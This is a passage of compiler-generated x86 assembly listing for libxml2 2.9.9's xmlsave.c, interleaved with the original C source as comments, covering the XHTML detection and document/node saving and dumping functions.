; 56 : if ((systemID == NULL) && (publicID == NULL))
test esi, esi
jne SHORT $LN12@xmlIsXHTML
; 57 : return(-1);
pop edi
or eax, -1
; 69 : }
pop esi
pop ebp
ret 0
$LN2@xmlIsXHTML:
; 58 : if (publicID != NULL) {
test esi, esi
je SHORT $LN6@xmlIsXHTML
$LN12@xmlIsXHTML:
; 59 : if (xmlStrEqual(publicID, XHTML_STRICT_PUBLIC_ID)) return(1);
push OFFSET ??_C@_0CB@LIHKBLCO@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Strict?1?1E@
push esi
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlIsXHTML
; 60 : if (xmlStrEqual(publicID, XHTML_FRAME_PUBLIC_ID)) return(1);
push OFFSET ??_C@_0CD@EONGLKJJ@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Frameset?1@
push esi
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlIsXHTML
; 61 : if (xmlStrEqual(publicID, XHTML_TRANS_PUBLIC_ID)) return(1);
push OFFSET ??_C@_0CH@FHDGMIJF@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Transitio@
push esi
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlIsXHTML
$LN6@xmlIsXHTML:
; 62 : }
; 63 : if (systemID != NULL) {
test edi, edi
je SHORT $LN10@xmlIsXHTML
; 64 : if (xmlStrEqual(systemID, XHTML_STRICT_SYSTEM_ID)) return(1);
push OFFSET ??_C@_0DC@BHABDBDI@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
push edi
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlIsXHTML
; 65 : if (xmlStrEqual(systemID, XHTML_FRAME_SYSTEM_ID)) return(1);
push OFFSET ??_C@_0DE@CCGEPDJH@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
push edi
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlIsXHTML
; 66 : if (xmlStrEqual(systemID, XHTML_TRANS_SYSTEM_ID)) return(1);
push OFFSET ??_C@_0DI@KKENBPON@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
push edi
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN10@xmlIsXHTML
$LN13@xmlIsXHTML:
pop edi
mov eax, 1
; 69 : }
pop esi
pop ebp
ret 0
$LN10@xmlIsXHTML:
pop edi
; 67 : }
; 68 : return(0);
xor eax, eax
; 69 : }
pop esi
pop ebp
ret 0
_xmlIsXHTML ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFileEnc
_TEXT SEGMENT
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_xmlSaveFileEnc PROC ; COMDAT
; 2739 : xmlSaveFileEnc(const char *filename, xmlDocPtr cur, const char *encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push 0
push DWORD PTR _encoding$[ebp]
push DWORD PTR _cur$[ebp]
push DWORD PTR _filename$[ebp]
call _xmlSaveFormatFileEnc
add esp, 16 ; 00000010H
; 2740 : return ( xmlSaveFormatFileEnc( filename, cur, encoding, 0 ) );
; 2741 : }
pop ebp
ret 0
_xmlSaveFileEnc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFormatFileEnc
_TEXT SEGMENT
_ctxt$ = -124 ; size = 124
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_format$ = 20 ; size = 4
_xmlSaveFormatFileEnc PROC ; COMDAT
; 2685 : const char * encoding, int format ) {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _cur$[ebp]
xor ebx, ebx
test edi, edi
je $LN10@xmlSaveFor
; 2686 : xmlSaveCtxt ctxt;
; 2687 : xmlOutputBufferPtr buf;
; 2688 : xmlCharEncodingHandlerPtr handler = NULL;
; 2689 : int ret;
; 2690 :
; 2691 : if (cur == NULL)
; 2692 : return(-1);
; 2693 :
; 2694 : if (encoding == NULL)
mov esi, DWORD PTR _encoding$[ebp]
test esi, esi
jne SHORT $LN9@xmlSaveFor
; 2695 : encoding = (const char *) cur->encoding;
mov esi, DWORD PTR [edi+60]
; 2696 :
; 2697 : if (encoding != NULL) {
test esi, esi
je SHORT $LN5@xmlSaveFor
$LN9@xmlSaveFor:
; 2698 :
; 2699 : handler = xmlFindCharEncodingHandler(encoding);
push esi
call _xmlFindCharEncodingHandler
mov ebx, eax
add esp, 4
; 2700 : if (handler == NULL)
test ebx, ebx
je SHORT $LN10@xmlSaveFor
$LN5@xmlSaveFor:
; 2701 : return(-1);
; 2702 : }
; 2703 :
; 2704 : #ifdef LIBXML_ZLIB_ENABLED
; 2705 : if (cur->compression < 0) cur->compression = xmlGetCompressMode();
mov eax, DWORD PTR [edi+36]
test eax, eax
jns SHORT $LN6@xmlSaveFor
call _xmlGetCompressMode
mov DWORD PTR [edi+36], eax
$LN6@xmlSaveFor:
; 2706 : #endif
; 2707 : /*
; 2708 : * save the content to a temp buffer.
; 2709 : */
; 2710 : buf = xmlOutputBufferCreateFilename(filename, handler, cur->compression);
push eax
push ebx
push DWORD PTR _filename$[ebp]
call _xmlOutputBufferCreateFilename
mov ebx, eax
add esp, 12 ; 0000000cH
; 2711 : if (buf == NULL) return(-1);
test ebx, ebx
je SHORT $LN10@xmlSaveFor
; 2712 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2713 : ctxt.doc = cur;
; 2714 : ctxt.buf = buf;
; 2715 : ctxt.level = 0;
; 2716 : ctxt.format = format ? 1 : 0;
xor eax, eax
mov DWORD PTR _ctxt$[ebp+28], edi
cmp DWORD PTR _format$[ebp], eax
mov DWORD PTR _ctxt$[ebp+24], ebx
setne al
mov DWORD PTR _ctxt$[ebp+36], 0
mov DWORD PTR _ctxt$[ebp+40], eax
; 2717 : ctxt.encoding = (const xmlChar *) encoding;
; 2718 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
mov DWORD PTR _ctxt$[ebp+16], esi
call _xmlSaveCtxtInit
; 2719 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
; 2720 :
; 2721 : xmlDocContentDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push edi
push eax
call _xmlDocContentDumpOutput
; 2722 :
; 2723 : ret = xmlOutputBufferClose(buf);
push ebx
call _xmlOutputBufferClose
add esp, 28 ; 0000001cH
pop edi
; 2724 : return(ret);
; 2725 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@xmlSaveFor:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlSaveFormatFileEnc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNodeDumpOutput
_TEXT SEGMENT
_ctxt$ = -124 ; size = 124
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_level$ = 20 ; size = 4
_format$ = 24 ; size = 4
_encoding$ = 28 ; size = 4
_xmlNodeDumpOutput PROC ; COMDAT
; 2348 : {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push ebx
call @__CheckForDebuggerJustMyCode@4
call _xmlInitParser
mov ebx, DWORD PTR _buf$[ebp]
test ebx, ebx
je $LN3@xmlNodeDum
; 2349 : xmlSaveCtxt ctxt;
; 2350 : #ifdef LIBXML_HTML_ENABLED
; 2351 : xmlDtdPtr dtd;
; 2352 : int is_xhtml = 0;
; 2353 : #endif
; 2354 :
; 2355 : xmlInitParser();
; 2356 :
; 2357 : if ((buf == NULL) || (cur == NULL)) return;
push edi
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je $LN10@xmlNodeDum
; 2358 :
; 2359 : if (encoding == NULL)
; 2360 : encoding = "UTF-8";
; 2361 :
; 2362 : memset(&ctxt, 0, sizeof(ctxt));
push esi
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2363 : ctxt.doc = doc;
; 2364 : ctxt.buf = buf;
; 2365 : ctxt.level = level;
mov eax, DWORD PTR _level$[ebp]
mov ecx, OFFSET ??_C@_05EGJIMALK@UTF?98@
mov esi, DWORD PTR _doc$[ebp]
mov DWORD PTR _ctxt$[ebp+36], eax
; 2366 : ctxt.format = format ? 1 : 0;
xor eax, eax
cmp DWORD PTR _format$[ebp], eax
mov DWORD PTR _ctxt$[ebp+28], esi
setne al
mov DWORD PTR _ctxt$[ebp+24], ebx
mov DWORD PTR _ctxt$[ebp+40], eax
mov eax, DWORD PTR _encoding$[ebp]
test eax, eax
cmovne ecx, eax
; 2367 : ctxt.encoding = (const xmlChar *) encoding;
; 2368 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
mov DWORD PTR _ctxt$[ebp+16], ecx
call _xmlSaveCtxtInit
; 2369 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
; 2370 :
; 2371 : #ifdef LIBXML_HTML_ENABLED
; 2372 : dtd = xmlGetIntSubset(doc);
push esi
call _xmlGetIntSubset
add esp, 20 ; 00000014H
pop esi
; 2373 : if (dtd != NULL) {
test eax, eax
je SHORT $LN7@xmlNodeDum
; 2374 : is_xhtml = xmlIsXHTML(dtd->SystemID, dtd->ExternalID);
push DWORD PTR [eax+52]
push DWORD PTR [eax+56]
call _xmlIsXHTML
add esp, 8
; 2375 : if (is_xhtml < 0)
test eax, eax
js SHORT $LN7@xmlNodeDum
; 2376 : is_xhtml = 0;
; 2377 : }
; 2378 :
; 2379 : if (is_xhtml)
je SHORT $LN7@xmlNodeDum
; 2380 : xhtmlNodeDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push edi
push eax
call _xhtmlNodeDumpOutput
; 2381 : else
; 2382 : #endif
; 2383 : xmlNodeDumpOutputInternal(&ctxt, cur);
add esp, 8
pop edi
pop ebx
; 2384 : }
mov esp, ebp
pop ebp
ret 0
$LN7@xmlNodeDum:
; 2381 : else
; 2382 : #endif
; 2383 : xmlNodeDumpOutputInternal(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push edi
push eax
call _xmlNodeDumpOutputInternal
add esp, 8
$LN10@xmlNodeDum:
pop edi
$LN3@xmlNodeDum:
pop ebx
; 2384 : }
mov esp, ebp
pop ebp
ret 0
_xmlNodeDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFormatFileTo
_TEXT SEGMENT
_ctxt$ = -124 ; size = 124
_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_format$ = 20 ; size = 4
_xmlSaveFormatFileTo PROC ; COMDAT
; 2646 : {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _buf$[ebp]
test esi, esi
jne SHORT $LN2@xmlSaveFor
; 2647 : xmlSaveCtxt ctxt;
; 2648 : int ret;
; 2649 :
; 2650 : if (buf == NULL) return(-1);
or eax, -1
pop esi
; 2667 : return (ret);
; 2668 : }
mov esp, ebp
pop ebp
ret 0
$LN2@xmlSaveFor:
push edi
; 2651 : if ((cur == NULL) ||
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je SHORT $LN4@xmlSaveFor
mov eax, DWORD PTR [edi+4]
cmp eax, 9
je SHORT $LN3@xmlSaveFor
cmp eax, 13 ; 0000000dH
jne SHORT $LN4@xmlSaveFor
$LN3@xmlSaveFor:
; 2656 : }
; 2657 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2658 : ctxt.doc = cur;
; 2659 : ctxt.buf = buf;
; 2660 : ctxt.level = 0;
; 2661 : ctxt.format = format ? 1 : 0;
xor eax, eax
mov DWORD PTR _ctxt$[ebp+28], edi
cmp DWORD PTR _format$[ebp], eax
mov DWORD PTR _ctxt$[ebp+24], esi
setne al
mov DWORD PTR _ctxt$[ebp+36], 0
mov DWORD PTR _ctxt$[ebp+40], eax
; 2662 : ctxt.encoding = (const xmlChar *) encoding;
mov eax, DWORD PTR _encoding$[ebp]
mov DWORD PTR _ctxt$[ebp+16], eax
; 2663 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlSaveCtxtInit
; 2664 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
; 2665 : xmlDocContentDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push edi
push eax
call _xmlDocContentDumpOutput
; 2666 : ret = xmlOutputBufferClose(buf);
push esi
call _xmlOutputBufferClose
add esp, 28 ; 0000001cH
pop edi
pop esi
; 2667 : return (ret);
; 2668 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlSaveFor:
; 2652 : ((cur->type != XML_DOCUMENT_NODE) &&
; 2653 : (cur->type != XML_HTML_DOCUMENT_NODE))) {
; 2654 : xmlOutputBufferClose(buf);
push esi
call _xmlOutputBufferClose
add esp, 4
; 2655 : return(-1);
or eax, -1
pop edi
pop esi
; 2667 : return (ret);
; 2668 : }
mov esp, ebp
pop ebp
ret 0
_xmlSaveFormatFileTo ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFileTo
_TEXT SEGMENT
_ctxt$ = -124 ; size = 124
_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_xmlSaveFileTo PROC ; COMDAT
; 2608 : xmlSaveFileTo(xmlOutputBufferPtr buf, xmlDocPtr cur, const char *encoding) {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _buf$[ebp]
test esi, esi
jne SHORT $LN2@xmlSaveFil
; 2609 : xmlSaveCtxt ctxt;
; 2610 : int ret;
; 2611 :
; 2612 : if (buf == NULL) return(-1);
or eax, -1
pop esi
; 2627 : return(ret);
; 2628 : }
mov esp, ebp
pop ebp
ret 0
$LN2@xmlSaveFil:
push edi
; 2613 : if (cur == NULL) {
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
jne SHORT $LN3@xmlSaveFil
; 2614 : xmlOutputBufferClose(buf);
push esi
call _xmlOutputBufferClose
add esp, 4
; 2615 : return(-1);
or eax, -1
pop edi
pop esi
; 2627 : return(ret);
; 2628 : }
mov esp, ebp
pop ebp
ret 0
$LN3@xmlSaveFil:
; 2616 : }
; 2617 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2618 : ctxt.doc = cur;
; 2619 : ctxt.buf = buf;
; 2620 : ctxt.level = 0;
; 2621 : ctxt.format = 0;
; 2622 : ctxt.encoding = (const xmlChar *) encoding;
mov eax, DWORD PTR _encoding$[ebp]
mov DWORD PTR _ctxt$[ebp+16], eax
; 2623 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
mov DWORD PTR _ctxt$[ebp+28], edi
mov DWORD PTR _ctxt$[ebp+24], esi
mov DWORD PTR _ctxt$[ebp+36], 0
mov DWORD PTR _ctxt$[ebp+40], 0
call _xmlSaveCtxtInit
; 2624 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
; 2625 : xmlDocContentDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push edi
push eax
call _xmlDocContentDumpOutput
; 2626 : ret = xmlOutputBufferClose(buf);
push esi
call _xmlOutputBufferClose
add esp, 28 ; 0000001cH
pop edi
pop esi
; 2627 : return(ret);
; 2628 : }
mov esp, ebp
pop ebp
ret 0
_xmlSaveFileTo ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNodeDump
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_level$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlNodeDump PROC ; COMDAT
; 2203 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _buf$[ebp]
test eax, eax
je SHORT $LN3@xmlNodeDum
; 2204 : xmlBufPtr buffer;
; 2205 : int ret;
; 2206 :
; 2207 : if ((buf == NULL) || (cur == NULL))
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je SHORT $LN3@xmlNodeDum
; 2209 : buffer = xmlBufFromBuffer(buf);
push eax
call _xmlBufFromBuffer
mov edi, eax
add esp, 4
; 2210 : if (buffer == NULL)
test edi, edi
je SHORT $LN3@xmlNodeDum
; 2211 : return(-1);
; 2212 : ret = xmlBufNodeDump(buffer, doc, cur, level, format);
push DWORD PTR _format$[ebp]
push DWORD PTR _level$[ebp]
push esi
push DWORD PTR _doc$[ebp]
push edi
call _xmlBufNodeDump
; 2213 : xmlBufBackToBuffer(buffer);
push edi
mov esi, eax
call _xmlBufBackToBuffer
add esp, 24 ; 00000018H
; 2214 : if (ret > INT_MAX)
; 2215 : return(-1);
; 2216 : return((int) ret);
mov eax, esi
pop edi
; 2217 : }
pop esi
pop ebp
ret 0
$LN3@xmlNodeDum:
pop edi
; 2208 : return(-1);
or eax, -1
; 2217 : }
pop esi
pop ebp
ret 0
_xmlNodeDump ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufNodeDump
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_level$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlBufNodeDump PROC ; COMDAT
; 2238 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlInitParser
cmp DWORD PTR _cur$[ebp], 0
je $LN8@xmlBufNode
; 2239 : size_t use;
; 2240 : int ret;
; 2241 : xmlOutputBufferPtr outbuf;
; 2242 : int oldalloc;
; 2243 :
; 2244 : xmlInitParser();
; 2245 :
; 2246 : if (cur == NULL) {
; 2247 : #ifdef DEBUG_TREE
; 2248 : xmlGenericError(xmlGenericErrorContext,
; 2249 : "xmlNodeDump : node == NULL\n");
; 2250 : #endif
; 2251 : return (-1);
; 2252 : }
; 2253 : if (buf == NULL) {
mov esi, DWORD PTR _buf$[ebp]
test esi, esi
je $LN8@xmlBufNode
; 2259 : }
; 2260 : outbuf = (xmlOutputBufferPtr) xmlMalloc(sizeof(xmlOutputBuffer));
push ebx
push 32 ; 00000020H
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 2261 : if (outbuf == NULL) {
test ebx, ebx
jne SHORT $LN4@xmlBufNode
; 111 : __xmlSimpleError(XML_FROM_OUTPUT, XML_ERR_NO_MEMORY, NULL, NULL, extra);
push OFFSET ??_C@_0BA@GIGPFFIA@creating?5buffer@
push eax
push eax
push 2
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 2262 : xmlSaveErrMemory("creating buffer");
; 2263 : return (-1);
or eax, -1
pop ebx
pop esi
; 2281 : }
pop ebp
ret 0
$LN4@xmlBufNode:
; 2264 : }
; 2265 : memset(outbuf, 0, (size_t) sizeof(xmlOutputBuffer));
mov DWORD PTR [ebx+20], 0
mov DWORD PTR [ebx+28], 0
push edi
; 2266 : outbuf->buffer = buf;
; 2267 : outbuf->encoder = NULL;
; 2268 : outbuf->writecallback = NULL;
; 2269 : outbuf->closecallback = NULL;
; 2270 : outbuf->context = NULL;
; 2271 : outbuf->written = 0;
; 2272 :
; 2273 : use = xmlBufUse(buf);
push esi
mov DWORD PTR [ebx+16], esi
mov DWORD PTR [ebx+12], 0
mov DWORD PTR [ebx+4], 0
mov DWORD PTR [ebx+8], 0
mov DWORD PTR [ebx], 0
mov DWORD PTR [ebx+24], 0
call _xmlBufUse
; 2274 : oldalloc = xmlBufGetAllocationScheme(buf);
push esi
mov edi, eax
call _xmlBufGetAllocationScheme
; 2275 : xmlBufSetAllocationScheme(buf, XML_BUFFER_ALLOC_DOUBLEIT);
push 0
push DWORD PTR _buf$[ebp]
mov esi, eax
call _xmlBufSetAllocationScheme
; 2276 : xmlNodeDumpOutput(outbuf, doc, cur, level, format, NULL);
push 0
push DWORD PTR _format$[ebp]
push DWORD PTR _level$[ebp]
push DWORD PTR _cur$[ebp]
push DWORD PTR _doc$[ebp]
push ebx
call _xmlNodeDumpOutput
; 2277 : xmlBufSetAllocationScheme(buf, oldalloc);
push esi
mov esi, DWORD PTR _buf$[ebp]
push esi
call _xmlBufSetAllocationScheme
; 2278 : xmlFree(outbuf);
push ebx
call DWORD PTR _xmlFree
; 2279 : ret = xmlBufUse(buf) - use;
push esi
call _xmlBufUse
add esp, 56 ; 00000038H
sub eax, edi
; 2280 : return (ret);
pop edi
pop ebx
pop esi
; 2281 : }
pop ebp
ret 0
$LN8@xmlBufNode:
; 2254 : #ifdef DEBUG_TREE
; 2255 : xmlGenericError(xmlGenericErrorContext,
; 2256 : "xmlNodeDump : buf == NULL\n");
; 2257 : #endif
; 2258 : return (-1);
or eax, -1
pop esi
; 2281 : }
pop ebp
ret 0
_xmlBufNodeDump ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFormatFile
_TEXT SEGMENT
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlSaveFormatFile PROC ; COMDAT
; 2758 : xmlSaveFormatFile(const char *filename, xmlDocPtr cur, int format) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _format$[ebp]
push 0
push DWORD PTR _cur$[ebp]
push DWORD PTR _filename$[ebp]
call _xmlSaveFormatFileEnc
add esp, 16 ; 00000010H
; 2759 : return ( xmlSaveFormatFileEnc( filename, cur, NULL, format ) );
; 2760 : }
pop ebp
ret 0
_xmlSaveFormatFile ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFile
_TEXT SEGMENT
_ctxt$1 = -124 ; size = 124
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlSaveFile PROC ; COMDAT
; 2773 : xmlSaveFile(const char *filename, xmlDocPtr cur) {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
; 2691 : if (cur == NULL)
mov esi, DWORD PTR _cur$[ebp]
xor edi, edi
test esi, esi
jne SHORT $LN12@xmlSaveFil
; 2774 : return(xmlSaveFormatFileEnc(filename, cur, NULL, 0));
pop edi
or eax, -1
; 2775 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN12@xmlSaveFil:
push ebx
; 2695 : encoding = (const char *) cur->encoding;
mov ebx, DWORD PTR [esi+60]
; 2696 :
; 2697 : if (encoding != NULL) {
test ebx, ebx
je SHORT $LN7@xmlSaveFil
; 2698 :
; 2699 : handler = xmlFindCharEncodingHandler(encoding);
push ebx
call _xmlFindCharEncodingHandler
mov edi, eax
add esp, 4
; 2700 : if (handler == NULL)
test edi, edi
je SHORT $LN14@xmlSaveFil
$LN7@xmlSaveFil:
; 2701 : return(-1);
; 2702 : }
; 2703 :
; 2704 : #ifdef LIBXML_ZLIB_ENABLED
; 2705 : if (cur->compression < 0) cur->compression = xmlGetCompressMode();
mov eax, DWORD PTR [esi+36]
test eax, eax
jns SHORT $LN8@xmlSaveFil
call _xmlGetCompressMode
mov DWORD PTR [esi+36], eax
$LN8@xmlSaveFil:
; 2706 : #endif
; 2707 : /*
; 2708 : * save the content to a temp buffer.
; 2709 : */
; 2710 : buf = xmlOutputBufferCreateFilename(filename, handler, cur->compression);
push eax
push edi
push DWORD PTR _filename$[ebp]
call _xmlOutputBufferCreateFilename
mov edi, eax
add esp, 12 ; 0000000cH
; 2711 : if (buf == NULL) return(-1);
test edi, edi
jne SHORT $LN9@xmlSaveFil
$LN14@xmlSaveFil:
pop ebx
pop edi
; 2774 : return(xmlSaveFormatFileEnc(filename, cur, NULL, 0));
or eax, -1
; 2775 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN9@xmlSaveFil:
; 2712 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$1[ebp]
push 0
push eax
call _memset
; 2713 : ctxt.doc = cur;
; 2714 : ctxt.buf = buf;
; 2715 : ctxt.level = 0;
; 2716 : ctxt.format = format ? 1 : 0;
; 2717 : ctxt.encoding = (const xmlChar *) encoding;
; 2718 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$1[ebp]
mov DWORD PTR _ctxt$1[ebp+28], esi
push eax
mov DWORD PTR _ctxt$1[ebp+24], edi
mov DWORD PTR _ctxt$1[ebp+36], 0
mov DWORD PTR _ctxt$1[ebp+40], 0
mov DWORD PTR _ctxt$1[ebp+16], ebx
call _xmlSaveCtxtInit
; 2719 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$1[ebp+32], 32 ; 00000020H
; 2720 :
; 2721 : xmlDocContentDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$1[ebp]
push esi
push eax
call _xmlDocContentDumpOutput
; 2722 :
; 2723 : ret = xmlOutputBufferClose(buf);
push edi
call _xmlOutputBufferClose
add esp, 28 ; 0000001cH
pop ebx
pop edi
; 2775 : }
pop esi
mov esp, ebp
pop ebp
ret 0
_xmlSaveFile ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlElemDump
_TEXT SEGMENT
_f$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_xmlElemDump PROC ; COMDAT
; 2293 : {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlInitParser
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je SHORT $LN1@xmlElemDum
; 2294 : xmlOutputBufferPtr outbuf;
; 2295 :
; 2296 : xmlInitParser();
; 2297 :
; 2298 : if (cur == NULL) {
; 2299 : #ifdef DEBUG_TREE
; 2300 : xmlGenericError(xmlGenericErrorContext,
; 2301 : "xmlElemDump : cur == NULL\n");
; 2302 : #endif
; 2303 : return;
; 2304 : }
; 2305 : #ifdef DEBUG_TREE
; 2306 : if (doc == NULL) {
; 2307 : xmlGenericError(xmlGenericErrorContext,
; 2308 : "xmlElemDump : doc == NULL\n");
; 2309 : }
; 2310 : #endif
; 2311 :
; 2312 : outbuf = xmlOutputBufferCreateFile(f, NULL);
push esi
push 0
push DWORD PTR _f$[ebp]
call _xmlOutputBufferCreateFile
mov esi, eax
add esp, 8
; 2313 : if (outbuf == NULL)
test esi, esi
je SHORT $LN7@xmlElemDum
; 2314 : return;
; 2315 : if ((doc != NULL) && (doc->type == XML_HTML_DOCUMENT_NODE)) {
mov ecx, DWORD PTR _doc$[ebp]
test ecx, ecx
je SHORT $LN4@xmlElemDum
cmp DWORD PTR [ecx+4], 13 ; 0000000dH
jne SHORT $LN4@xmlElemDum
; 2316 : #ifdef LIBXML_HTML_ENABLED
; 2317 : htmlNodeDumpOutput(outbuf, doc, cur, NULL);
push 0
push edi
push ecx
push esi
call _htmlNodeDumpOutput
add esp, 16 ; 00000010H
; 2323 : xmlOutputBufferClose(outbuf);
push esi
call _xmlOutputBufferClose
add esp, 4
pop esi
pop edi
; 2324 : }
pop ebp
ret 0
$LN4@xmlElemDum:
; 2318 : #else
; 2319 : xmlSaveErr(XML_ERR_INTERNAL_ERROR, cur, "HTML support not compiled in\n");
